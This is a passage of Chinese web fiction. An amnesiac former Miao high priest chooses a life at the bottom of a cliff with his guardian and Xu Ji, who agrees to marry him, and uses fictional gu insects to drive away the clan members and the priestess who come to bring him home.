老婆婆没有立刻回应沈怨的话，她的目光缓缓扫过上官渡苍白的脸，落在绫司司红肿的眼睛上，最后定格在许祭紧攥的拳头上。那目光里没有丝毫的敌意，却带着一种看透世事的深邃，让人心底不由自主地发沉。 “你们找他，所为何事？”老婆婆的声音沙哑，却带着一股不容置疑的威严，与她佝偻的身形形成了鲜明的对比。 上官渡深吸一口气，上前一步，声音里带着难以掩饰的悲痛：“婆婆，他是我们苗寨的大祭祀沈司南，是为了救我们才跳下断魂崖的。求您发发慈悲，让我们带他回去吧。” 绫司司也跟着上前，泪水再次滑落：“婆婆，都是我的错，是我害了司南。求您让他恢复记忆，让我们带他离开这里。” 老婆婆轻轻摇了摇头，竹杖在地面上轻轻一点，发出一声闷响：“他现在是沈怨，不是你们口中的沈司南。跳崖的那刻，过去的一切就已经随着碎石坠入深渊了。我救了他，护了他，他现在的命，是我的。” 许祭再也忍不住，猛地向前一步，目光死死地盯着老婆婆：“您不能这样！他是沈司南，是我们的朋友！您凭什么替他决定未来？” 沈怨听到许祭的话，脸上的笑意瞬间消失了，他皱着眉头挡在老婆婆身前，像只护崽的小兽，脆声喊道：“你不许对婆婆这么说话！婆婆是对我最好的人！” 老婆婆轻轻拍了拍沈怨的后背，示意他稍安勿躁。她抬眼看向许祭，眼底的深邃里突然多了一丝奇异的光芒，沙哑的声音里带着一丝不容错辨的认真：“你护他，我亦护他。但崖底的日子孤寂，我百年之后，阿怨无人依靠。” 她顿了顿，竹杖再次点地，声音里的威严更甚：“许祭，我问你——你愿不愿意娶沈怨，留在这断魂崖底，陪他一生一世？” 这句话，如同一道惊雷，在崖底炸响。 许祭整个人都僵住了，他不敢置信地看着老婆婆，嘴巴动了动，却发不出任何声音。娶沈怨？这个名字陌生的、性格大变的、甚至连自己是谁都不记得的少年？ 上官渡的瞳孔猛地收缩，她下意识地想要反驳，却被老婆婆的目光死死盯住，动弹不得。 绫司司更是惊得忘了哭泣，她看着沈怨那张依旧清隽却满是陌生的脸，心里的震惊与茫然交织在一起。 沈怨自己也愣住了，他歪着头看了看老婆婆，又看了看呆立在原地的许祭，脸上露出了懵懂的神色：“婆婆，娶是什么意思呀？是可以一起摘发光的蘑菇，一起听小鸟唱歌吗？” 老婆婆没有回答沈怨的问题，她只是定定地看着许祭，目光里带着一丝审视，一丝期待，还有一丝不容拒绝的强势：“你只需回答，愿意，还是不愿意。” 山风卷着腐叶的气息扑面而来，篝火的火苗剧烈地晃动着，将众人的身影映在石壁上，忽明忽暗。 铜铃的声响早已停止，崖底陷入了一片死寂，只剩下许祭沉重的呼吸声，和他心底翻涌的震惊与无措。 死寂的崖底被这句话瞬间划破，绫司司撑着许祭的手臂缓缓站直身体，红肿的眼睛里还蓄着未干的泪水，声音却带着一丝颤抖的清醒。她望着老婆婆佝偻的身影，指尖无意识地攥紧了那颗沈怨送的石子，小心翼翼地开口：“婆婆，您……您是不是太冲动了一些？” 老婆婆的目光缓缓转向她，深邃的眼眸里没有丝毫波澜，却带着一股无形的压力。绫司司的心跳猛地漏了一拍，却还是鼓起勇气继续说道：“许祭和……和沈怨，他们如今连彼此是谁都认不清。您突然提出这样的要求，不仅会让许祭为难，恐怕也不是沈怨真正想要的。” 沈怨歪着头凑到老婆婆身边，脸上满是懵懂的好奇，脆生生地接话：“是呀婆婆！娶到底是什么呀？如果是一起摘蘑菇听鸟叫，我和许祭哥哥现在就可以一起去呀！为什么还要问愿不愿意？” 他说着，还伸手拉了拉许祭的衣角，眼神里满是少年人的天真烂漫，完全没察觉到现场凝滞的气氛。 许祭被他拉得回过神来，喉结滚动了一下，刚想开口附和绫司司的话，却被老婆婆抬手打断。 老婆婆的竹杖在地面轻轻一点，沙哑的声音里带着不容置疑的笃定：“冲动？老身守着这断魂崖底五十年，见过的人心诡谲，比你们走过的路都多。”她的目光扫过许祭，又落在沈怨身上，眼底闪过一丝不易察觉的复杂，“阿怨失忆，无牵无挂，崖底的日子虽安稳，却也孤寂。许祭重情重义，今日能为了找沈司南深入这绝地，他日也定会护着阿怨周全。” “可这不是他想要的！”绫司司的声音陡然提高了几分，泪水再次汹涌而出，“沈司南是苗寨的大祭祀，他的根在苗寨！沈怨现在无忧无虑，可您不能用这种方式，把他困在这崖底一辈子啊！” 老婆婆缓缓摇了摇头，枯瘦的手指轻轻拂过沈怨腰间的铜铃，清脆的声响在崖底回荡：“他现在是沈怨，不是沈司南。苗寨的一切，于他而言不过是陌生人的过往。老身给了他新生，自然要为他的将来打算。” 她的目光重新落回许祭身上，语气里的强势丝毫不减：“老身的问题，不会问第二遍。” 山风再次卷起，吹得篝火的火苗摇摇欲坠。绫司司看着老婆婆那副不容置喙的模样，心里的无力感如潮水般涌来。她明明是想为许祭解围，想为沈怨争取一丝选择的权利，却好像只是徒劳地搅动了这崖底的僵局。 沈怨依旧没明白发生了什么，只是觉得许祭哥哥的脸色好难看，他又从怀里掏出一颗彩色的小石子，递到许祭面前，语气里满是讨好：“许祭哥哥，你别不高兴啦！这个也送给你，我们一起去看发光的蘑菇好不好？” 山风卷着腐叶的气息在崖底盘旋，篝火的火苗摇摇欲坠，将许祭的身影拉得忽明忽暗。 沈怨还在拉着他的衣角，手里的彩色石子在火光下泛着细碎的光，少年人的声音带着天真的讨好：“许祭哥哥，你别不高兴啦！我们一起去看发光的蘑菇好不好？” 许祭低头看着那张与沈司南一模一样，却满是懵懂与鲜活的脸，心脏像是被一只温柔的手紧紧攥住。脑海里闪过的不是崖顶那道毅然跃下的靛蓝色身影，也不是沈司南最后那句被风撕碎的嘱托，而是这一路搜寻时，心底隐秘的期盼——他盼着沈司南活着，哪怕活着的是一个全然陌生的“沈怨”。 从沈怨蹦蹦跳跳从黑暗中走出的那一刻起，许祭便清晰地感觉到，某种尘封已久的情愫，正随着少年清脆的笑声、鲜活的眉眼，一点点破土而出。他在意沈司南的决绝与担当，却更贪恋沈怨的天真与依赖，贪恋这双清澈眼眸里，只属于“许祭哥哥”的光亮。 他喉结剧烈地滚动了一下，目光没有扫向身侧的绫司司与上官渡，自始至终都凝在沈怨带着笑意的脸上。老婆婆的问题，于他而言不是刁难，而是一个猝不及防却又心之所向的契机。 留在崖底，困在这绝地又如何？只要能守着他，看着他每天蹦蹦跳跳，听他喊自己“许祭哥哥”，陪他摘发光的蘑菇，听他哼不成调的小曲，便胜过世间一切。 无数念头在脑海里交织，最终都化作一声带着释然与温柔的回应。 许祭缓缓抬起头，目光先是落在沈怨懵懂的笑脸上，才转向老婆婆，声音沙哑却字字清晰，带着不容错辨的坚定：“我愿意。” 两个字，如同一颗石子投入平静的湖面，瞬间在崖底掀起惊涛骇浪。 绫司司的身体猛地一颤，不敢置信地看着许祭，泪水汹涌而出：“许祭！你疯了吗？！你怎么能答应？！” 上官渡也死死攥紧了拳头，指甲深深嵌入掌心，她看着许祭，眼底满是不解与痛惜：“许祭，你可想清楚了？这一答应，就是一辈子困在这断魂崖底，再也回不去了！” 沈怨依旧是一脸懵懂，他歪着头看看许祭，又看看哭成一团的绫司司和脸色凝重的上官渡，抓了抓头发，脆声问道：“许祭哥哥，你答应什么啦？是不是答应和我一起去看发光的蘑菇啦？” 许祭没有理会身后两人的震惊，他反手握住沈怨拉着自己衣角的手，掌心的温度透过单薄的衣料传递过去。他的指尖轻轻摩挲着少年温热的皮肤，眼神里是化不开的温柔，连声音都放得极轻：“嗯，答应了。比一起看蘑菇更重要的事——答应了要一直陪着阿怨。” 沈怨的眼睛瞬间亮了起来，像盛进了崖底最亮的星光。他用力回握住许祭的手，蹦蹦跳跳地笑：“好呀好呀！那我们要永远在一起！” 老婆婆的脸上终于露出了一丝极淡的笑意，枯瘦的手轻轻拍了拍沈怨的头顶，沙哑的声音里带着一丝满意：“好，好一个重情重义的孩子。” 她竹杖在地面轻轻一点，洞口的藤蔓再次缓缓分开，露出里面温暖的火光：“既然答应了，便随老身进来吧。从今往后，你便是阿怨的人，这断魂崖底，便是你们的家。” 许祭没有丝毫犹豫，牵着沈怨的手，一步步朝着山洞走去。路过绫司司与上官渡身边时，他才微微侧头，朝两人递去一个带着歉意却无比坚定的眼神——他知道自己的选择有多荒唐，有多不负责任，可他终究还是败给了心底对沈怨的那份喜欢。 红衣少年的身影蹦蹦跳跳，腰间的铜铃叮当作响，与许祭挺拔却带着温柔的身影，一同消失在山洞的阴影里。 洞口的藤蔓缓缓合拢，隔绝了里面的温暖与外面的寒凉。 绫司司瘫坐在地上，泪水模糊了视线，嘴里不断念叨着：“为什么……为什么要答应……” 上官渡撑着苗刀缓缓站起身，肩头的伤口因为情绪激动再次渗出血迹，她望着山洞的方向，眼底满是苍凉。 山风依旧在吹，篝火渐渐熄灭，崖底陷入了一片无边的黑暗。 只有那清脆的铜铃声，还隐隐约约从山洞里传来，夹杂着沈怨欢快的笑声与许祭温柔的回应，在这死寂的断魂崖底，谱写出一段注定充满遗憾，却又满是温柔的新篇。 断魂崖底的日子，像崖壁上缓缓流淌的泉水，平静得没有一丝波澜。 山洞被老婆婆打理得温暖又整洁，火塘里的柴禾永远燃着不旺不熄的火苗，架上的陶锅咕嘟咕嘟煮着草药粥，清苦的香气混着崖底特有的湿润气息，成了沈怨与许祭朝夕相伴的日常。 许祭没有食言。他收起了短刀，学着老婆婆的样子，辨认崖底的草药，编织装蘑菇的竹篮，甚至跟着沈怨一起，蹲在腐叶堆里找那些亮晶晶的石子。沈怨的世界简单而纯粹，他的快乐是找到一朵会发光的蘑菇，是听到一只小鸟的啼鸣，是许祭每天清晨醒来，笑着喊他一声“阿怨”。 许祭的喜欢，藏在每一个细微的动作里。沈怨蹦蹦跳跳跑在前面，衣角被藤蔓勾住，他会默默上前替他解开，指尖不经意擦过少年温热的后背，心口便会泛起一阵柔软的涟漪；沈怨蹲在地上看蚂蚁搬家，忘了时间，他会安静地陪在一旁，折下一根草茎编成小环，轻轻套在少年纤细的手腕上；夜里山风大，沈怨睡得不安稳，总爱往温暖的地方靠，许祭便会敞开衣襟，让他窝在自己怀里，轻轻拍着他的背，哼着自己都记不清调子的小曲，直到少年呼吸渐匀，嘴角还挂着甜甜的笑。 老婆婆很少说话，大多时候只是坐在洞口的石墩上，看着两人在崖底嬉笑打闹，枯瘦的脸上偶尔会露出一丝极淡的笑意。她腰间的铜铃，与沈怨腰间的交相呼应，风吹过时，清脆的声响在崖底回荡，像是在诉说着一段无人知晓的过往。有时她会叫住许祭，教他辨认一些只在崖底生长的珍稀草药，或是传授他一些简单的护身秘术，语气里带着几分郑重：“阿怨性子单纯，往后的日子，全靠你护着。” 许祭每次都会认真点头，目光望向不远处正追着蝴蝶跑的沈怨，眼底的温柔几乎要溢出来：“婆婆放心，我会守着他，一辈子。” 绫司司与上官渡没有立刻离开。她们在离山洞不远的地方，搭了一个简陋的茅草屋，每天都会远远地看着山洞的方向。绫司司的自责渐渐淡了，取而代之的是一种复杂的释然。她看着沈怨每天无忧无虑的样子，看着许祭眼底化不开的温柔，突然觉得，或许这样的结局，对那个曾为了苗寨奋不顾身的沈司南而言，也是一种解脱。她不再哭了，每天都会去崖底采一些野果，偶尔会碰到许祭，两人只是沉默地交换一个眼神，她便会把野果递过去，轻声说一句“给阿怨带的”。 上官渡的肩头渐渐愈合，她每天都会带着苗刀，在崖底巡视，像是在守护着这片属于沈怨的净土。她偶尔会与许祭相遇，两人只是沉默地点点头，没有多余的话语。苗寨的一切，仿佛已经成了遥远的记忆，远得像一场梦。只是每当山风吹过，她总会下意识地望向苗寨的方向，眼底闪过一丝不易察觉的怅惘。 日子一天天过去，沈怨的头发越长越长，许祭会用苗寨的布条，替他束成简单的发髻。沈怨会拉着许祭的手，去看崖底的每一处风景，他会指着崖壁上盛开的不知名野花，兴奋地喊：“许祭哥哥你看！这花的颜色，和你的眼睛一样好看！”许祭会笑着揉乱他的头发，轻声回应：“嗯，没有阿怨好看。” 有时沈怨会突然停下脚步，皱着眉头揉太阳穴，脸上露出一丝痛苦的神色。许祭总会立刻紧张地扶住他，声音里满是担忧：“阿怨，怎么了？”可沈怨很快就会舒展开眉头，重新露出灿烂的笑容，摇着头说：“不知道，就是突然觉得脑袋有点疼，不过现在没事啦！” 每当这时，老婆婆都会远远地看着，眼底闪过一丝复杂的光芒，却始终没有说什么。 许祭的心，总会在这样的时刻揪紧。他害怕沈怨会突然想起过去的一切，害怕他会记起自己是沈司南，是苗寨的大祭祀，害怕他会因此离开自己。可他又忍不住期盼，期盼沈怨能想起一些什么，哪怕只是一点点，关于他们曾经的交集。 但沈怨终究没有想起。他依旧是那个活泼开朗的沈怨，是那个会拉着许祭的手，蹦蹦跳跳地去摘发光蘑菇的少年。 这天傍晚，夕阳的余晖透过藤蔓的缝隙，洒在崖底的腐叶堆上，泛着一层温暖的金光。沈怨拉着许祭的手，坐在洞口的石墩上，手里把玩着一颗亮晶晶的石子。许祭靠在他身边，目光温柔地落在他的脸上。 老婆婆坐在不远处，铜铃在风里轻轻作响。 沈怨突然侧过头，看着许祭，脆声问道：“许祭哥哥，我们会永远在一起吗？” 许祭伸手握住他的手，指尖相扣，声音里带着不容错辨的坚定：“会。永远。” 沈怨笑了，笑得像崖底最亮的光。他靠在许祭的肩上，闭上眼睛，嘴里哼着不成调的小曲。 铜铃的声响，少年的笑声，许祭温柔的目光，还有远处茅草屋里，绫司司与上官渡安静的身影，一同构成了断魂崖底，最温暖的人间烟火。 没有人知道，这样的平静会持续多久。也没有人知道，沈怨是否会有想起过往的一天。 但此刻，他们都在属于自己的时光里，安静地守护着心底的那份温柔与执念。 夜深得沉，崖底的风裹着湿冷的气息，拍打着山洞的藤蔓。火塘里的火苗跳得慢悠悠，陶锅里的草药粥还剩小半锅，散着淡淡的清苦香气。 沈怨窝在许祭怀里，指尖绕着许祭的衣角玩了半晌，见许祭呼吸渐匀，便轻轻挣开他的手臂，踮着脚走到老婆婆身边。老婆婆正坐在石墩上，借着微弱的火光，用竹针缝补着沈怨那件红衣的衣角，枯瘦的手指灵活地穿梭，铜铃在腰间轻轻晃动。 “婆婆。”沈怨的声音放得轻轻的，怕吵醒熟睡的许祭，他挨着老婆婆坐下，脑袋不自觉地靠在她的肩膀上，“许祭哥哥说，我们会永远在一起。” 老婆婆手上的动作顿了顿，低头看了看他，眼底的皱纹舒展开来，带着岁月沉淀的温和：“嗯，他会的。” “永远是多久呀？”沈怨歪着头，手指戳了戳老婆婆腰间的铜铃，清脆的声响在安静的山洞里格外清晰，“是比崖底的藤蔓还要长，比会发光的蘑菇还要久吗？” 老婆婆放下手中的针线，伸手轻轻摸了摸他的头发，声音沙哑却温柔：“永远啊，就是你想和他在一起的每一个日子。” 沈怨似懂非懂地点了点头，沉默了片刻，又突然开口：“婆婆，我有时候会头疼。”他说着，伸手揉了揉自己的太阳穴，脸上露出一丝困惑，“就是突然一下，脑袋里好像有什么东西要钻出来，可我抓不住，也想不起来。” 老婆婆的眼神微微一凝，却很快恢复了平静，她拍了拍沈怨的手背，轻声道：“没事的，那是崖底的瘴气还没散干净，等日子久了，就好了。” “真的吗？”沈怨抬头看她，眼睛里满是少年人的天真，“可我总觉得，好像忘了什么很重要的人，或者很重要的事。”他顿了顿，又立刻摇了摇头，脸上重新漾起笑意，“不过没关系！我有婆婆，还有许祭哥哥，我们在一起，就很开心啦！” 老婆婆看着他脸上纯粹的笑容，眼底闪过一丝复杂的光芒，快得让人抓不住。她没有再说话，只是重新拿起针线，继续缝补着那件红衣。 沈怨也不再追问，他靠在老婆婆的肩膀上，目光望向熟睡的许祭，嘴角的笑意越来越浓。他伸出手指，在空中轻轻画了一个圈，嘴里小声嘀咕着：“许祭哥哥，沈怨，婆婆，我们要永远在一起哦。” 火塘里的火苗又跳了跳，映得山洞里一片温暖。老婆婆腰间的铜铃，与沈怨腰间的交相呼应，在这寂静的夜里，发出细碎而清脆的声响。 过了许久，老婆婆才缓缓开口，声音轻得像一声叹息：“傻孩子，只要你开心就好。” 天刚蒙蒙亮，崖底的瘴气还未散尽，一层薄薄的白雾笼罩着腐叶与藤蔓。沈怨正拉着许祭的手，蹲在溪边捞水里的发光石子，清脆的笑声惊飞了枝头的晨鸟，腰间的铜铃叮当作响，与溪水的潺潺声交织在一起。 老婆婆坐在洞口的石墩上，突然停下了手中编织竹篮的动作，枯瘦的手指微微一顿。她抬起头，望向断魂崖的崖顶方向，浑浊的眼眸里闪过一丝锐利的光芒：“有人来了。” 许祭的心猛地一沉，立刻将沈怨护在身后，目光警惕地望向崖顶。沈怨被他突如其来的动作弄得一愣，抓着他的衣角探出头，好奇地问：“许祭哥哥，是谁呀？是来和我们一起看蘑菇的吗？” 不远处茅草屋的门“吱呀”一声被推开，上官渡握着苗刀快步走了出来，绫司司也紧随其后，两人的脸上都带着凝重的神色。上官渡的目光死死盯着崖顶，声音里带着一丝不易察觉的颤抖：“是苗寨的人。” 话音刚落，崖顶便传来了一阵嘈杂的呼喊声，紧接着，数十道身影顺着崖壁的藤蔓缓缓滑下。他们都穿着苗寨特有的靛蓝色服饰，手里握着苗刀或竹弩，领头的是一位头发花白的老者，正是苗寨的寨老。 寨老的目光扫过崖底的众人，最终落在了许祭身后的沈怨身上。当他看清沈怨的脸时，浑浊的眼睛瞬间瞪得滚圆，声音里带着难以置信的激动：“是大祭祀！大祭祀还活着！” 随着他的话音落下，身后的苗寨族人也纷纷惊呼起来，一个个脸上都露出了狂喜的神色。他们对着沈怨恭敬地行礼，声音整齐而洪亮：“见过大祭祀！” 沈怨被这阵仗吓得往许祭身后缩了缩，紧紧抓着他的衣角，脸上满是茫然与害怕：“许祭哥哥，他们是谁呀？为什么要对我行礼？” 许祭将他护得更紧了，目光冷冽地看向寨老，声音里带着不容错辨的警惕：“他现在叫沈怨，不是你们的大祭祀。这里是断魂崖底，不是苗寨，你们离开。” 寨老显然没料到会是这样的反应，他愣了一下，随即走上前，目光恳切地看着沈怨：“大祭祀，您是苗寨的守护神啊！当年您为了救族人跳下断魂崖，全寨的人都以为您已经不在了。如今您还活着，求您跟我们回苗寨吧！苗寨不能没有您！” “我不是什么大祭祀。”沈怨从许祭身后探出头，眉头紧紧皱着，声音里带着一丝委屈，“我叫沈怨，我只有婆婆和许祭哥哥，我不认识你们，也不想回什么苗寨。” 老婆婆拄着竹杖缓缓站起身，走到沈怨身边，枯瘦的手轻轻拍了拍他的肩膀。她的目光扫过寨老与一众苗寨族人，沙哑的声音里带着一股不容置疑的威严：“他现在是我的徒弟，是许祭的人。过去的沈司南，早已随着当年的碎石坠入深渊。苗寨的大祭祀，已经死了。” “您不能这样！”寨老急得直跺脚，他看着老婆婆，又看看沈怨，语气里满是哀求，“大祭祀，您是苗寨的根啊！这些年，苗寨因为没有守护神，处处受人欺压，族人们苦不堪言。求您念在族人的份上，跟我们回去吧！” 上官渡站在一旁，看着寨老与族人们恳切的神情，眼底闪过一丝复杂的光芒。她走上前，声音里带着一丝犹豫：“司南……不，阿怨。苗寨，真的很需要你。” 绫司司也跟着点了点头，泪水在眼眶里打转：“阿怨，我知道你现在过得很开心。可当年的沈司南，是为了苗寨才牺牲的。如果你能回去，他的牺牲，才算有了意义。” 许祭的脸色越来越冷，他紧紧握着沈怨的手，指尖因为用力而泛白。他看着眼前的众人，声音里带着一丝决绝：“我说过，他是沈怨，不是沈司南。谁也别想把他从这里带走。” 沈怨似懂非懂地听着众人的对话，他看看许祭，看看老婆婆，又看看寨老与上官渡他们，小脸上满是困惑。他轻轻拉了拉许祭的手，小声问道：“许祭哥哥，苗寨是什么地方？那里有发光的蘑菇吗？有会唱歌的小鸟吗？” 许祭低头看着他，眼底的冷冽瞬间化为温柔，他轻轻摇了摇头：“没有。那里只有让你不开心的人和事。我们不去。” 沈怨立刻用力点了点头，紧紧靠在许祭怀里，不再说话。 寨老看着两人相依的身影，又看看老婆婆那副不容置喙的模样，脸上露出了一丝绝望。他身后的族人们也纷纷露出了失落的神色，一个个低着头，沉默不语。 崖底的瘴气渐渐散去，阳光透过藤蔓的缝隙洒下来，照在众人的身上。铜铃的声响早已停止，只剩下溪水的潺潺声，和众人沉重的呼吸声。 没有人知道，这场来自苗寨的寻亲，最终会走向何方。 也没有人知道，沈怨的平静生活，是否会因此被彻底打破。 寨老的哀求还在崖底回荡，苗寨族人们的目光里满是恳切与绝望。沈怨从许祭怀里探出头，小脸上没了往日的活泼，取而代之的是一种与年龄不符的冷冽。他挣开许祭的手，往前迈了一步，红衣的衣角在晨风中猎猎作响。 “我说，”沈怨的声音依旧清脆，却带着一股不容错辨的决绝，“那你们就不要想让我走。” 话音刚落，他突然抬手，指尖夹着一只通体翠绿的小虫，那虫子只有指甲盖大小，翅膀薄如蝉翼，在阳光下泛着诡异的光泽。正是老婆婆教他的崖底蛊虫，平日里只用来驱赶野兽，此刻却被他对准了寨老与一众苗寨族人。 许祭的瞳孔猛地收缩，下意识地想上前拉住他，却被老婆婆用竹杖轻轻拦住。老婆婆的眼底闪过一丝赞许的光芒，沙哑的声音里带着一丝不易察觉的笑意：“让他来。” 沈怨的指尖轻轻一弹，那只翠绿的蛊虫便振翅飞起，在空中划出一道诡异的弧线。紧接着，他又从袖中摸出数只颜色各异的小虫，有赤红如血的，有漆黑如墨的，每一只都散发着淡淡的异香。 “这些是婆婆教我的宝贝。”沈怨歪着头，脸上露出了一抹天真却又带着寒意的笑容，“它们不喜欢陌生人，更不喜欢逼我离开的人。” 话音未落，那几只蛊虫便朝着苗寨族人飞了过去。族人们顿时惊呼起来，纷纷挥舞着手中的苗刀想要驱赶，可那些蛊虫却异常灵活，在他们的头顶盘旋，时不时俯冲下来，用针尖大小的口器轻轻蛰一下他们的脖颈。 被蛰到的族人立刻感到一阵酥麻，浑身的力气仿佛被抽干了一般，手中的苗刀“哐当”一声掉在地上。寨老也被一只赤红的蛊虫蛰了一下，他踉跄着后退两步，惊恐地看着沈怨：“大祭祀！您怎么会用蛊？！这不是苗寨的秘术啊！” “我不是你们的大祭祀。”沈怨的声音冷了几分，他抬手打了个响指，那些蛊虫立刻停止了攻击，纷纷飞回他的身边，落在他的肩头、指尖，像一群温顺的宠物，“我是沈怨，是婆婆的徒弟，是许祭哥哥的人。这里是我的家，谁也别想让我离开。” 许祭看着沈怨肩头那些颜色各异的蛊虫，又看看他脸上那副护犊子般的模样，心底的柔软与骄傲交织在一起。他快步走上前，站在沈怨身边，伸手将他护在自己的羽翼下，目光冷冽地扫过一众苗寨族人：“你们都看到了，阿怨不想回去。识相的，现在就离开断魂崖底。” 上官渡与绫司司站在一旁，早已惊得说不出话来。她们怎么也想不到，那个平日里只会蹦蹦跳跳找发光蘑菇的沈怨，竟然会使用如此诡异的蛊虫。绫司司的嘴唇动了动，想说些什么，却最终还是闭上了嘴。 老婆婆拄着竹杖缓缓走上前，枯瘦的手轻轻拍了拍沈怨的头顶，沙哑的声音里带着一股不容置疑的威严：“老身说过，过去的沈司南已经死了。现在的沈怨，是断魂崖底的人。苗寨的恩恩怨怨，与他无关。” 寨老看着沈怨肩头那些虎视眈眈的蛊虫，又看看老婆婆与许祭那副鱼死网破的模样，脸上露出了一丝绝望。他知道，今天是无论如何也带不回大祭祀了。 最终，寨老缓缓低下了头，对着沈怨恭敬地行了一礼：“属下……告退。” 说完，他便带着一众苗寨族人，失魂落魄地顺着崖壁的藤蔓往上爬。族人们的脚步沉重，一个个垂头丧气，再也没有了来时的兴奋与激动。 直到苗寨族人的身影彻底消失在崖顶，沈怨才松了口气，肩头的蛊虫纷纷钻进他的袖中，消失不见。他立刻转身扑进许祭的怀里，声音里带着一丝后怕，却又满是得意：“许祭哥哥，我厉害吧！那些虫子可听话了！” 许祭紧紧抱着他，指尖轻轻摩挲着他的后背，声音里带着难以掩饰的后怕与温柔：“厉害。不过下次不许这么冒险了，知道吗？” “知道啦！”沈怨用力点了点头，抬头冲他笑，眼底的冷冽早已消失不见，只剩下往日的活泼与天真。 老婆婆看着两人相依的身影，枯瘦的脸上露出了一丝极淡的笑意。她腰间的铜铃在风里轻轻作响，与沈怨腰间的交相呼应，清脆的声响在崖底回荡。 上官渡与绫司司缓缓走了过来，两人的脸上都带着复杂的神色。绫司司看着沈怨，轻声道：“阿怨，你……” “绫司司姐姐，”沈怨从许祭怀里探出头，脸上露出了灿烂的笑容，“我不想回苗寨，我想和许祭哥哥、婆婆一起，在崖底看发光的蘑菇，听小鸟唱歌。” 绫司司看着他纯粹的笑容，心里的最后一丝执念也渐渐消散。她点了点头，轻声道：“好，我们不逼你。” 上官渡也跟着点了点头，目光望向苗寨的方向，眼底闪过一丝不易察觉的怅惘，却最终还是化为了释然。 崖底的阳光越来越暖，溪水潺潺，鸟鸣阵阵。沈怨拉着许祭的手，蹦蹦跳跳地朝着溪边跑去，嘴里还哼着不成调的小曲。 铜铃的声响，少年的笑声，许祭温柔的回应，一同构成了断魂崖底，最温暖的人间烟火。 瘴气刚散了大半，崖底的晨雾还缠在藤蔓间不肯散去。沈怨正蹲在溪边，看着许祭用竹篮捞起一尾银鳞小鱼，指尖逗弄着肩头休憩的翠绿蛊虫，清脆的笑声惊得水面泛起层层涟漪。 就在这时，一道纤细的身影从崖顶缓缓滑下，既没有苗寨族人的喧哗，也没有兵刃的寒光，只有一身与苗寨祭祀同色的靛蓝长裙，裙摆上绣着繁复的司命纹章——那是专属于苗寨司命的标识，掌族中命脉，通天地玄机。 来人停在离溪边数步远的地方，身形窈窕，梳着双丫髻，发间系着蓝布飘带，正是苗寨最年轻的司命，罗囡囡。她的脸上没有表情，一双眼睛却亮得惊人，直直地落在沈怨身上，既无哀求，也无激动，只有一种近乎悲悯的平静。 许祭瞬间将沈怨护在身后，短刀悄然滑入掌心，目光冷冽如冰：“苗寨的人，还没走够吗？” 沈怨从许祭的臂弯里探出头，红衣的衣角与许祭的青布衣衫交叠在一起，他歪着头，看着罗囡囡身上陌生的纹饰，眼底没有害怕，只有一丝懵懂的好奇。待罗囡囡的目光与他对上，他突然挣开许祭的手，往前迈了一步，肩头的蛊虫瞬间振翅飞起，在他头顶盘旋出一道诡异的弧线。 罗囡囡看着那些颜色各异的蛊虫，脚步未动，只是微微躬身，声音清泠如泉水：“司命罗囡囡，见过大祭祀。” “我不是大祭祀。”沈怨的声音依旧清脆，却带着一丝那日对苗寨族人的冷冽，他抬手，指尖的赤红蛊虫轻轻停在他的指节上，尾尖的毒刺在晨光下闪着微弱的光，“我叫沈怨。” “我知道。”罗囡囡抬眼，目光掠过沈怨身上的红衣，掠过他腰间与老婆婆同款的铜铃，最终落在他那双清澈却带着疏离的眼睛里，“可你颈间的祭祀印记，骗不了人。你是沈司南，是苗寨唯一的大祭祀，是刻在族中命脉里的守护神。” 沈怨的眉头轻轻皱了起来，伸手揉了揉自己的颈侧，那里光滑一片，他什么也感觉不到。身旁的许祭上前一步，与他并肩而立，声音里带着不容错辨的护短：“印记也好，大祭祀也罢，都已是过往。他现在是沈怨，是我的人，这里是他的家。” 罗囡囡没有理会许祭，她的目光始终锁在沈怨身上，声音里带着一丝不易察觉的执拗：“大祭祀，苗寨的天，快塌了。族中长老争权，外敌环伺，族人们流离失所，苦不堪言。只有您回去，才能稳住苗寨的命脉，才能护族人周全。” 她的话音刚落，沈怨突然笑了，那笑容依旧带着少年人的天真，却又透着一股彻骨的寒意。他抬手，让头顶的蛊虫落在自己的肩头，指尖轻轻摩挲着赤红蛊虫的背甲，脆生生的声音里，却藏着一句令人心头一震的话： “那你，愿不愿意死在这里？” 空气瞬间凝滞。 许祭的瞳孔微微收缩，侧头看向身侧的少年，眼底闪过一丝惊讶，却很快化为了无条件的支持。老婆婆不知何时已经站在洞口，竹杖轻轻点地，铜铃的声响清脆却冰冷，她的目光落在罗囡囡身上，带着一丝看透世事的漠然。 罗囡囡的身体猛地一僵，显然没料到沈怨会说出这样的话。她看着沈怨肩头虎视眈眈的蛊虫，看着他眼底那份不属于这个年纪的决绝，脸上第一次露出了一丝裂痕。她沉默了片刻，最终抬起头，目光依旧坚定：“我不愿死。但我愿为请回大祭祀，付出一切代价。” “包括命吗？”沈怨追问，指尖的赤红蛊虫突然振翅，在罗囡囡的脸颊旁划过一道残影，带起一阵微凉的风。 罗囡囡闭了闭眼，再睁开时，眼底已是一片决绝：“包括。” 沈怨的眉头皱得更紧了，他似乎不能理解，为什么有人会为了一个“陌生人”的过往，连命都可以不要。他回头看了看许祭，又看了看不远处的老婆婆，最终将目光重新落回罗囡囡身上，声音里的冷冽更甚：“可我不想回去。这里有许祭哥哥，有婆婆，有发光的蘑菇，有会唱歌的小鸟。苗寨的天，塌不塌，与我无关。” “怎么会无关？”罗囡囡的声音陡然提高，带着一丝痛心疾首，“您的血脉里，流着苗寨的血！您的生命里，刻着苗寨的魂！您是沈司南，不是沈怨！” “我是沈怨。”沈怨一字一顿地说，肩头的蛊虫瞬间躁动起来，纷纷振翅飞起，将罗囡囡团团围住，“最后说一次，不要想让我走。否则，我的宝贝们，会让你永远留在这里——以最痛苦的方式。” 罗囡囡看着周身那些虎视眈眈的蛊虫，感受着它们身上散发出的诡异气息，身体微微颤抖，却依旧没有后退。她的目光死死地盯着沈怨，声音里带着最后的哀求：“大祭祀，求您……” “够了。”许祭突然开口，声音冷得像崖底的寒冰，他伸手将沈怨拉回自己的怀里，短刀的寒光一闪而过，“你已经触碰到了阿怨的底线。现在，立刻离开。” 罗囡囡看着两人相依的身影，看着那些随时可能扑上来的蛊虫，最终，她的肩膀缓缓垮了下来。她深深看了沈怨一眼，那目光里有遗憾，有痛心，还有一丝不易察觉的无奈。 “我会再来的。”罗囡囡的声音很轻，却带着不容错辨的执拗，“只要苗寨还在，我就会一直来。” 说完，她转身，顺着崖壁的藤蔓，缓缓向上爬去。靛蓝色的裙摆渐渐消失在崖顶的晨雾中，只留下一道孤寂的背影。 